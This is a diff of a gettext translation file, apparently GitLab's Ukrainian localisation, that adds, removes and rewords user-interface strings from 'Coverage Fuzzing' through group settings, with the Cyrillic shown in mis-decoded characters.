msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Create"
msgstr "Створити"
msgid "Create %{environment}"
msgstr "Створити %{environment}"
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr "Створити %{type}"
@@ -8918,9 +9204,6 @@ msgstr "Створити новий файл"
msgid "Create new file or directory"
msgstr "Створити новий файл чи папку"
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr "Створити нову мітку"
@@ -8942,6 +9225,9 @@ msgstr "Створити вимогу"
msgid "Create snippet"
msgstr "Створити Ñніпет"
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr "Створити шаблон: %{searchTerm}"
@@ -9095,6 +9381,9 @@ msgstr ""
msgid "Created"
msgstr "Створено"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr "Створено %{timestamp}"
@@ -9158,6 +9447,9 @@ msgstr "Ð¡Ñ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ ÐµÐ¿Ñ–ÐºÑƒ"
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr "Ð¡Ñ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð³Ñ€Ð°Ñ„Ñ–ÐºÑ–Ð² викориÑтовує дані з Ñервера Prometheus. Якщо це займає багато чаÑу, переконайтеÑÑ, що дані доÑтупні."
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr "Дата ÑтвореннÑ"
@@ -9462,8 +9754,12 @@ msgstr "Вибрати мітки"
msgid "CycleAnalytics|Show"
msgstr "Показати"
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr "Показано %{subjectFilterText} і %{selectedLabelsCount} міток"
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr "Показано дані по групі '%{groupName}' і %{selectedProjectCount} проєктам від %{startDate} до %{endDate}"
@@ -9558,6 +9854,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9627,6 +9926,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9687,6 +9992,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9720,6 +10028,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9750,12 +10061,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9835,6 +10158,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9865,6 +10191,9 @@ msgstr "Діапазон дат не може перевищувати %{maxDate
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr "День міÑÑцÑ"
@@ -10294,13 +10623,19 @@ msgstr "Розгорнути на..."
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10411,9 +10746,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr "Відкликати"
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr "Відкликати %{b_start}%{name}%{b_end}?"
-
msgid "DeployTokens|Revoke %{name}"
msgstr "Відкликати %{name}"
@@ -10441,9 +10773,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr "Ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача"
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10559,9 +10888,6 @@ msgstr "ОпиÑ:"
msgid "Descriptive label"
msgstr "Мітка Ð´Ð»Ñ Ð¾Ð¿Ð¸Ñу"
-msgid "Deselect all"
-msgstr "ЗнÑти вÑÑ– виділеннÑ"
-
msgid "Design Management files and data"
msgstr "Файли та дані ÑƒÐ¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ Ð´Ð¸Ð·Ð°Ð¹Ð½Ð¾Ð¼"
@@ -10721,13 +11047,13 @@ msgstr "Деталі (за замовчуваннÑм)"
msgid "Detect host keys"
msgstr "ВиÑÐ²Ð»ÐµÐ½Ð½Ñ ÐºÐ»ÑŽÑ‡Ñ–Ð² хоÑта"
+msgid "DevOps Adoption"
+msgstr ""
+
msgid "DevOps Report"
msgstr "Звіт DevOps"
-msgid "DevopsAdoption|%{selectedCount} group selected"
-msgstr ""
-
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10742,7 +11068,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10998,6 +11324,9 @@ msgstr "Видалити Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾ запит на злиÑ
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11241,6 +11570,9 @@ msgstr "Редагувати заÑтоÑунок"
msgid "Edit comment"
msgstr "Редагувати коментар"
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr "Редагувати опиÑ"
@@ -11253,6 +11585,9 @@ msgstr "Редагуйте файли в редакторі Ñ– закомітьÑ
msgid "Edit fork in Web IDE"
msgstr "Редагувати форк в Web IDE"
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr "Редагувати групу: %{group_name}"
@@ -11472,6 +11807,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr "Увімкнути Auto DevOps"
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11496,6 +11834,9 @@ msgstr "Увімкнути PlantUML"
msgid "Enable Pseudonymizer data collection"
msgstr "Увімкнути збір даних Ð´Ð»Ñ Pseudonymizer"
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11508,6 +11849,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr "Увімкнути доÑтуп до Grafana"
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr "Увімкнути доÑтуп до панелі продуктивноÑÑ‚Ñ– Ð´Ð»Ñ Ð´Ð°Ð½Ð¾Ñ— групи."
@@ -11520,6 +11864,9 @@ msgstr "Включити і налаштувати метрики Prometheus."
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr "Увімкнути контроль за клаÑифікацією за допомогою зовнішньої Ñлужби"
@@ -11631,6 +11978,9 @@ msgstr "Увімкнено"
msgid "Enabled Git access protocols"
msgstr "Увімкнути протоколи доÑтупу до Git"
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr "Ðктивовані джерела Ð´Ð»Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ коду під Ñ‡Ð°Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ. OmniAuth має бути Ñконфігурована Ð´Ð»Ñ GitHub"
@@ -11700,9 +12050,6 @@ msgstr "Введіть URL-адреÑу вашого Ñервера Phabricator
msgid "Enter merge request URLs"
msgstr "Введіть URL-адреÑи запиту на злиттÑ"
-msgid "Enter new %{field_title}"
-msgstr "Введіть новий %{field_title}"
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -11851,7 +12198,7 @@ msgid "Environments|Delete"
msgstr "Видалити"
msgid "Environments|Delete '%{environmentName}'?"
-msgstr ""
+msgstr "Видалити '%{environmentName}'?"
msgid "Environments|Delete environment"
msgstr "Видалити Ñередовище"
@@ -12330,20 +12677,20 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr "Ðктивовано"
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
-msgstr "ПіÑÐ»Ñ Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ токена автентифікації викориÑтовуйте кнопку \"З’єднаннÑ\" Ð´Ð»Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñ–Ð²"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
+msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr "Токен автентифікації"
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
-msgstr "ÐатиÑніть \"З’єднаннÑ\", щоб відновити Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ð´Ð¾ Sentry Ñ– активувати випадаюче меню."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
+msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
-msgstr "Ð—â€™Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð½ÐµÐ²Ð´Ð°Ð»Ðµ. Перевірте токер автентифікації та Ñпробуйте знову."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
+msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
-msgstr "Якщо ви розміщуєте Sentry ÑамоÑтійно, введіть повну URL-адреÑу вашого інÑтанÑу Sentry. Якщо ви викориÑтовуєте Ñ€Ñ–ÑˆÐµÐ½Ð½Ñ Ð½Ð° інфраÑтруктурі Sentry, введіть https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
+msgstr ""
msgid "ErrorTracking|No projects available"
msgstr "Ðемає доÑтупних проєктів"
@@ -12351,8 +12698,8 @@ msgstr "Ðемає доÑтупних проєктів"
msgid "ErrorTracking|Select project"
msgstr "Виберіть проєкт"
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
-msgstr "Ð”Ð»Ñ Ð¼Ð¾Ð¶Ð»Ð¸Ð²Ð¾ÑÑ‚Ñ– вибору проєктів введіть дійÑний токен автентифікації"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
+msgstr ""
msgid "Errors"
msgstr "Помилки"
@@ -12462,9 +12809,6 @@ msgstr ""
msgid "Evidence collection"
msgstr "Збір даних"
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr "Потрібен лише один з %{attributes}"
@@ -12531,6 +12875,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr "Розгорніть бічну панель"
@@ -12600,6 +12947,9 @@ msgstr "ПереглÑнути публічні групи"
msgid "Export"
msgstr "ЕкÑпорт"
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12612,12 +12962,6 @@ msgstr ""
msgid "Export group"
msgstr "ЕкÑпортувати групу"
-msgid "Export issues"
-msgstr "ЕкÑпортувати задачі"
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr "ЕкÑпорт проєкту"
@@ -12645,9 +12989,6 @@ msgstr "External ID"
msgid "External URL"
msgstr "Зовнішній URL"
-msgid "External Wiki"
-msgstr "Ð—Ð¾Ð²Ð½Ñ–ÑˆÐ½Ñ Ð²Ñ–ÐºÑ–"
-
msgid "External authentication"
msgstr "Ð—Ð¾Ð²Ð½Ñ–ÑˆÐ½Ñ Ð°Ð²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ"
@@ -12669,14 +13010,17 @@ msgstr "Мітка клаÑифікації"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "Якщо клаÑифікаційну мітку не вÑтановлено, викориÑтовуватиметьÑÑ Ñтандартна мітка `%{default_label}`."
-msgid "ExternalWikiService|External Wiki"
-msgstr "Ð—Ð¾Ð²Ð½Ñ–ÑˆÐ½Ñ Ð²Ñ–ÐºÑ–"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
+msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr "Замінює поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° внутрішню вікі поÑиланнÑм на зовнішню вікі."
-msgid "ExternalWikiService|The URL of the external Wiki"
-msgstr "URL-адреÑа зовнішньої вікі"
+msgid "ExternalWikiService|The URL of the external wiki"
+msgstr ""
msgid "Facebook"
msgstr "Facebook"
@@ -12774,6 +13118,9 @@ msgstr "Ðе вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ ref."
msgid "Failed to install."
msgstr "Ðе вдалоÑÑ Ð²Ñтановити."
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12801,9 +13148,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ мітки. Будь лаÑка, Ñпробуйте ще раз."
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12852,9 +13205,6 @@ msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ Zoom-зуÑтріч"
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ задачу з дошки, будь лаÑка, Ñпробуйте ще раз."
-
msgid "Failed to remove mirror."
msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ дзеркало."
@@ -12909,9 +13259,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ задачі. Будь лаÑка, Ñпробуйте ще раз."
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13297,10 +13644,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr "Фільтрувати закриті за %{issuable_type}."
-msgid "Filter by %{issuable_type} that are currently opened."
-msgstr "Фільтрувати відкриті за %{issuable_type}."
+msgid "Filter by %{issuable_type} that are currently open."
+msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13333,7 +13680,7 @@ msgstr "Фільтрувати за ÑтатуÑом"
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13435,6 +13782,9 @@ msgstr "Токен джерела Git Ð´Ð»Ñ Flowdock"
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr "Flowdock — це веб заÑтоÑунок Ð´Ð»Ñ Ð²Ð·Ð°Ñ”Ð¼Ð¾Ð´Ñ–Ñ— технічних команд."
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr "ÐдреÑа електронної пошти FogBugz"
@@ -13483,12 +13833,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr "Ð”Ð»Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð´Ð¾Ð´Ð°Ñ‚ÐºÐ¾Ð²Ð¾Ñ— інформації читайте документацію."
@@ -13498,9 +13851,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr "Ð”Ð»Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð´Ð¾Ð´Ð°Ñ‚ÐºÐ¾Ð²Ð¾Ñ— інформації, відвідайте "
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr "Ð”Ð»Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð´Ð¾Ð´Ð°Ñ‚ÐºÐ¾Ð²Ð¾Ñ— інформації, будь лаÑка, ознайомтеÑÑ Ð· %{link_start_tag}документацією по налаштуванню Jaeger%{link_end_tag}"
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13525,6 +13875,9 @@ msgstr "Форк проєкту"
msgid "Fork project?"
msgstr "Створити форк проєкту?"
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13534,6 +13887,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13549,6 +13905,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13567,9 +13926,6 @@ msgstr "Форк від"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr "ВідбуваєтьÑÑ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ„Ð¾Ñ€ÐºÑƒ"
@@ -13831,6 +14187,9 @@ msgstr "%{name} заплановано Ð´Ð»Ñ Ð¿Ð¾Ð²Ñ‚Ð¾Ñ€Ð½Ð¾Ñ— ÑинхронÑ
msgid "Geo|%{name} is scheduled for re-verify"
msgstr "%{name} заплановано Ð´Ð»Ñ Ð¿Ð¾Ð²Ñ‚Ð¾Ñ€Ð½Ð¾Ñ— перевірки"
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13873,9 +14232,15 @@ msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ Ð·Ð°Ð¿Ð¸Ñ Ð²Ñ–Ð´ÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ð
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ Ð·Ð°Ð¿Ð¸Ñ Ð²Ñ–Ð´ÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ñ–Ñнуючого завантаженнÑ."
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr "Ðевдало"
@@ -13900,6 +14265,15 @@ msgstr "Ð’ процеÑÑ–"
msgid "Geo|In sync"
msgstr "Синхронізовано"
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr "ОÑÑ‚Ð°Ð½Ð½Ñ Ð·Ð°Ð¿ÑƒÑк перевірки репозиторію"
@@ -13933,6 +14307,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Ðе Ñинхронізовано"
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr "ÐžÑ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ñинхронізації"
@@ -13960,6 +14340,9 @@ msgstr "Проекти в певних групах"
msgid "Geo|Projects in certain storage shards"
msgstr "Проекти в певних Ñегментах Ñховищ"
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr "Повторне завантаженнÑ"
@@ -13972,6 +14355,30 @@ msgstr "Видалити запиÑ"
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr "Повторна ÑинхронізаціÑ"
@@ -13999,6 +14406,9 @@ msgstr ""
msgid "Geo|Status"
msgstr "СтатуÑ"
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr "Синхронізовано"
@@ -14011,6 +14421,9 @@ msgstr "Ð¡Ð¸Ð½Ñ…Ñ€Ð¾Ð½Ñ–Ð·Ð°Ñ†Ñ–Ñ Ð½ÐµÐ²Ð´Ð°Ð»Ð°: %{error}"
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr "База даних зараз %{db_lag} позаду оÑновного вузла."
@@ -14044,6 +14457,9 @@ msgstr "Ðевідомий Ñтан"
msgid "Geo|Verification failed - %{error}"
msgstr "Перевірка невдала: %{error}"
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr "ÐžÑ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ð»Ð°Ð½ÑƒÐ²Ð°Ð»ÑŒÐ½Ð¸ÐºÐ°"
@@ -14089,6 +14505,9 @@ msgstr "Розпочати роботу з релізами"
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr "Git LFS не увімкнено на цьому Ñервері GitLab, звернітьÑÑ Ð´Ð¾ адмініÑтратора."
@@ -14218,6 +14637,12 @@ msgstr "Ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача GitLab"
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr "GitLab викориÑтовує %{jaeger_link} Ð´Ð»Ñ Ð¼Ð¾Ð½Ñ–Ñ‚Ð¾Ñ€Ð¸Ð½Ð³Ñƒ розподілених ÑиÑтем."
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr "GitLab запуÑтить фонове завданнÑ, Ñке буде оброблÑти пÑевдонімізовані CSV-файли бази даних GitLab, Ñкі будуть надіÑлані до вашого налаштованого Ñховища об'єктів."
@@ -14341,6 +14766,24 @@ msgstr "URL-адреÑа хоÑту Gitea"
msgid "Gitea Import"
msgstr "Імпорт з Gitea"
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr "Gitlab Pages"
@@ -14383,9 +14826,6 @@ msgstr "ПовернутиÑÑ"
msgid "Go back (while searching for files)"
msgstr "Перейти назад (продовжуючи пошук файлів)"
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr "Ðа повний екран"
@@ -14515,17 +14955,14 @@ msgstr "URL-адреÑа Grafana"
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
-msgstr "Токен API"
+msgid "GrafanaIntegration|API token"
+msgstr ""
msgid "GrafanaIntegration|Active"
msgstr "Увімкнено"
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr "Включити графіки Grafana в задачі GitLab."
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
-msgstr "Введіть токен Grafana API."
+msgid "GrafanaIntegration|Enter the Grafana API token."
+msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
msgstr "Введіть оÑновну URL-адреÑу інÑтанÑа Grafana."
@@ -14536,6 +14973,9 @@ msgstr "Grafana URL"
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr "Ðадати доÑтуп"
@@ -14593,6 +15033,12 @@ msgstr "URL-адреÑа групи"
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr "Ðватар групи"
@@ -14674,9 +15120,6 @@ msgstr "Групові хвилини Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð² уÑпішно Ð
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr "Група вимагає окремий обліковий запиÑ"
@@ -14779,9 +15222,15 @@ msgstr ""
